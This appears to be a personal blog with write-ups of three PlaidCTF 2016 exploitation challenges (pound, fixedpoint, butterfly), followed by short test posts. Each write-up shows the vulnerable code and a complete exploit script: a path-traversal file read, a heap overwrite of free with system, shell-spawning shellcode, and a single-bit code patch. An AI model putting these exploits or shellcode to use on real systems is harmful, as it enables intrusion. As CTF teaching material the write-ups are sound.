j31d0 Blog

pctf 2016 pound writeup

host.py

#!/usr/bin/python
import os
import hashlib
import subprocess
import time



def menu():
    print """
    1. Read Trump article
    2. Run Trump Money Simulator
    3. Quit
    """
    try:
        res = int(raw_input())
        if res <= 0 or res > 3:
            return -1
        else:
            return res
    except:
        return -1

def read_tweet():
    print "Read the top 20 tweets by Trump!"
    print "Enter a number (1 - 20)"
    tweet_number = raw_input()
    time.sleep(5)

    try:
        with open("tweets/{0}".format(tweet_number), 'r') as f:
            print f.read()
    except:
        print "Invalid input!"

def run_sim():
    print "Trump's money simulator (that makes america great again) simulates two different sized states transfering money around, with the awesome Trump algorithm."
    print "The simulator takes in 2 inputs. Due to the awesomeness of the simulator, we can only limit the input to less than a thousand each..."

    input1 = raw_input("[Smaller] State 1 Size:")
    input2 = raw_input("[Larger] State 2 Size:")
    if len(input1) > 3 or len(input2) >3:
        print "Number has to be less than 1000"
        return

    str_to_hash = "[]{0}[]{1}##END".format(input1,input2)
    sim_id = hashlib.sha256(str_to_hash).hexdigest()
    sim_name = "sims/sim-{0}".format(sim_id)

    if os.path.isfile(sim_name):
        print "Sim compiled, running sim..."
    else:
        print "Compiling Sim"
        ret = subprocess.call(["clang", "-m32", "-DL1={}".format(input1),
                        "-DL2={}".format(input2), "pound.c", "-o",
                        sim_name])
        if ret != 0:
            print "Compiler error!"
            return

    os.execve("/usr/bin/sudo", ["/usr/bin/sudo", "-u", "smalluser", sim_name], {})



def main():
    print "Welcome to the Trump Secret Portal"
    while 1:
        res = menu()
        if res == 1:
            read_tweet()
        elif res == 2:
            run_sim()
        elif res == 3:
            exit(0)

if __name__ == "__main__":
    main()

at read_tweet, you can read any file in server with sending “../pound.c” or anyting. so I found pound.c

pound.c

critical point is

const int N = 1024; // General buffer size
...
const int l1_len = L1;
const int l2_len = L2;

so you can define l1_len and l2_len by clang argument

void propagate_forward(int k) {
    // Somewhere total_length will be used :), with some buffer or heap
    int length_diff = L2 - L1;
    int i,j;

    for (i=0; i < L1-1; i++) {
        // At random, swap money to keep circulation of money
        if (rand() % 2) {
            int tmp = global.s1_citizens[i];
            global.s1_citizens[i] = global.s2_citizens[i];
            global.s2_citizens[i] = tmp;
        }

        // Propagate forward s1
        if (global.s1_citizens[i] >= k) {
            global.s1_citizens[i] -= k;
            global.s1_citizens[i+1] += k;

            // If we reach a bankrupt person,
            // give him the money
            if (global.s1_citizens[i+1] == k) {
                return;
            }
        }

        // Propagate forward s2
        if (global.s2_citizens[i] >= k) {
            global.s2_citizens[i] -= k;
            global.s2_citizens[i+1] += k;

            // If we reach a bankrupt person,
            // give him the money
            if (global.s2_citizens[i+1] == k) {
                return;
            }
        }
    }

    for (j=0; j < length_diff; j++) {
        // Propagate forward s2
        if (global.s2_citizens[i+j] >= k) {
            global.s2_citizens[i+j] -= k;
            global.s2_citizens[i+j+1] += k;

            printf("%d:0x%x\n", i+j+1,global.s2_citizens[i+j+1]);
            // If we reach a bankrupt person,
            // give him the money
            if (global.s2_citizens[i+j+1] == k) {
                return;
            }
        }
    }

}

at this code, length_diff = L2 - L1. but, if you give L2 -> N; L1 -> N

then

length_diff = N; -N;

so we can make overflow in this function.

exploit

  1. set all citizens & names
  2. call one propagate_forward to give address(to leak and overwrite)
  3. call one propagate_forward to give length
  4. leak printf
  5. overwrite free -> system
  6. change announcement_length to free current chunk
  7. write new chunk /bin/sh and free it!

exploit code :

import pwnbox
import struct

local = False

if local:
    p = pwnbox.pipe.ProcessPipe('gdb -q poundN')
else:
    p = pwnbox.pipe.SocketPipe('pound.pwning.xxx', 9765)

if local:
    p.read_until('(gdb)')
    p.write('r\n')

else:
#p.interact()
    p.read_until('3. Quit')
    p.write('2\n')

    p.read_until('Size:')
    p.write('N\n')
    p.read_until('Size:')
    p.write('N;\n')

def lobby():
    p.read_until('Choice:')

def first_in():
    p.read_until('state:')
    p.write('\x70'*512)
    p.read_until('state:')
    p.write('A'*(512-2))
    lobby()

def create_An(d, s):
    p.write('4\n')
    p.read_until(':')
    p.write('%d\n' % d)
    p.write(s+'\n')
    lobby()

def init(d):
    p.write('1\n')
    p.read_until('in:')
    p.write('%d\n' % d)
    lobby()

def for_propa(d):
    p.write('2\n')
    p.read_until('propagate:')
    p.write('%d\n' % d)
    lobby()


def print_leak():
    p.write('0\n')
    p.read_until('PSA: ')
    x = p.read_byte(8)
    x = struct.unpack('<II',x)
    lobby()
    return x

target = 0x0804b00c


first_in()

init(1094795585)

for_propa(target)
for_propa(100)


x = print_leak()

libc_printf = x[0]
libc_strcspn = x[1]

libc_base = libc_printf - 0x4cc40
libc_system = libc_base + 0x3fcd0
libc_fgets = libc_base + 0x63120
libc_malloc = libc_base + 0x75b30

print hex(libc_base)


create_An(30,struct.pack('<IIIII',libc_printf,libc_strcspn,libc_system,libc_fgets,libc_malloc))
create_An(200, '/bin/sh')

p.write('4\n')
p.read_until(':')
p.write('300\n')


p.interact()

pctf 2016 fixedpoint writeup

#include <stdlib.h>
#include <sys/mman.h>
#include <stdio.h>

int main(int argc, char** argv) {
  float* array = mmap(0, sizeof(float)*8192, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
  int i;
  int temp;
  float ftemp;

  for (i = 0; i < 8192; i++) {
    if (!scanf("%d", &temp)) break;
    array[i] = ((float)temp)/1337.0;
  }

  write(1, "here we go\n", 11);
  (*(void(*)())array)();
}

All i did was just make shellcode and * 1337.0. but float is not so precise to control lsb, so i use float with 0x46000000 ~ 0x48000000 (8192.0 ~ 131072.0) which is stable for x * 1337.0 / 1337.0. (0x46 : inc esi, 0x48 : dec eax)

I use hex-to-int convert code to find payload.

--helper.c--
int* hex_to_int(float a)
{
    float* x = (float*)&a;
    *x = *x * 1337.0;
    return (int*)x;
}
int main()
{
    int a;
    float *ftemp;

    scanf("%08x",&a);
    float* c = (float*)&a;
    printf("%f\n",*c);
    *c = *c * 1337.0;
    printf("%f\n", *c);
    int b = (int)(*c);
    printf("%08x\n",b);
    printf("%08x\n",float_i2f(a));
    //printf("%08x\n", ftemp);
}

full exploit code:

import pwnbox

local = False

if local:
    p = pwnbox.pipe.ProcessPipe('gdb -q fixedpoint_02dc03c8a5ae299cf64c63ebab78fec7')
else:
    p = pwnbox.pipe.SocketPipe('fixedpoint.pwning.xxx',7777)

shellCode = ['31c990','31c990','519090','31d290','b26890','c1e208','b27390','c1e208','b22f90','c1e208','b22f52','9031d2','b26e90','c1e208','b26990','c1e208','b26290','c1e208','b22f52','9089e3','515390','89e190','31c090','31d290','b00b90','cd8090']



def helper(a):
    tempP = pwnbox.pipe.ProcessPipe('./helper')
    tempP.write(a+'\n')
    retVal = tempP.read_until('\n')
    retVal = tempP.read_until('\n').split('.')[0]
    tempP.close()
    return retVal


#print helper()

if local:
    p.read_until('(gdb)')
    #p.write('b* 0x80484DA\n')
    #p.read_until('(gdb)')
    #p.write('r\n')
    #p.read_until('(gdb)')
    #p.write('b *$eax\n')
    #p.read_until('(gdb)')
    p.write('r\n')
    #p.interact()

for i in shellCode[:-4]:
    p.write(helper('48'+i[4:] + i[2:4]+ i[0:2])+'\n')

for i in shellCode[-4:]:
    p.write(helper('46'+i[4:] + i[2:4] + i[0:2]) + '\n')



p.interact()

pctf 2016 butterfly writeup

with disassembler, I can get pseudocode like

int __cdecl main(int argc, const char **argv, const char **envp)
{
  signed int v3; // er14@1
  __int64 v4; // rax@2
  char v5; // bl@2
  __int64 v6; // rbp@2
  unsigned __int64 v7; // r15@2
  __int64 v8; // rax@5
  char v10; // [sp+0h] [bp-68h]@1
  __int64 v11; // [sp+40h] [bp-28h]@1

  v11 = *MK_FP(__FS__, 40LL);
  setbuf(_bss_start, 0LL);
  puts("THOU ART GOD, WHITHER CASTEST THY COSMIC RAY?");
  v3 = 1;
  if ( fgets(&v10, 50, stdin) )
  {
    v4 = strtol(&v10, 0LL, 0);
    v5 = v4;
    v6 = v4 >> 3;
    v7 = (v4 >> 3) & 0xFFFFFFFFFFFFF000LL;
    if ( mprotect((void *)v7, 0x1000uLL, 7) )
    {
      perror("mprotect1");
    }
    else
    {
      v3 = 1;
      *(_BYTE *)v6 ^= 1 << (v5 & 7);
      if ( mprotect((void *)v7, 0x1000uLL, 5) )
      {
        perror("mprotect2");
      }
      else
      {
        puts("WAS IT WORTH IT???");
        v3 = 0;
      }
    }
  }
  v8 = *MK_FP(__FS__, 40LL);
  if ( *MK_FP(__FS__, 40LL) == v11 )
    LODWORD(v8) = v3;
  return v8;
}

so this program get one integer, and xor one specific bits. I choose one address to change stack operation

.text:0000000000400860 add rsp, 48h 48 83 C4 48

to

.text:0000000000400860 add rsp, 8h 48 83 C4 08

so i can control return address. (goto main and loop this thing)

and next thing is easy: overwrite any address to shellcode and execute it.

my exploit code:

import pwnbox
import struct

# PCTF{b1t_fl1ps_4r3_0P_r1t3}

local = True

main_ = 0x400788
libc_init = 0x400890
if local:
    p = pwnbox.pipe.ProcessPipe('gdb -q butterfly_33e86bcc2f0a21d57970dc6907867bed')
else:
    p = pwnbox.pipe.SocketPipe('butterfly.pwning.xxx',9999)

first_point = (0x400863) << 3 | 6

def xor_code(addr,pos):
    p.read_until('RAY?')
    p.write(('%d' % ((addr << 3) | pos)).ljust(40,'A') + struct.pack('<Q',main_) + '\n')

def xor_byte(addr,byte):
    for i in range(8):
        if byte & 1 :
            xor_code(addr,i)
        byte /= 2

def change_byte(addr,orig,new):
    xor_byte(addr,orig)
    xor_byte(addr,new)

def change_bytes(addr,orig_bytes,new_bytes):
    for i in range(len(orig_bytes)):
        change_byte(addr+i, struct.unpack('<B',orig_bytes[i])[0], struct.unpack('<B',new_bytes[i])[0])


if local:
    p.read_until('(gdb)')
    #p.write('b *0x400860\n')
    p.write('r\n')


p.read_until('RAY?')
p.write(('%d'%first_point).ljust(40,'A') + struct.pack('<Q',main_)+'\n')
change_bytes(libc_init,'415741564189FF415541544C8D251602200055488D2D1602200053'.decode('hex'),'31c048bbd19d9691d08c97ff48f7db53545f995257545eb03b0f05'.decode('hex'))

p.read_until('RAY?')
p.write(('%d'%(0x40086B << 3 | 0)).ljust(40,'A') + struct.pack('<Q',libc_init) + '\n')
p.interact()

git cloned at linux machine

I working on linux machine to post and commit this.?

first post

hello.

import pwnbox
p = pwnbox.pipe.ProcessPipe('./attackme')
p.interact()

this is highlight.

some highlights

something?

한글 써지나 가나다라마바사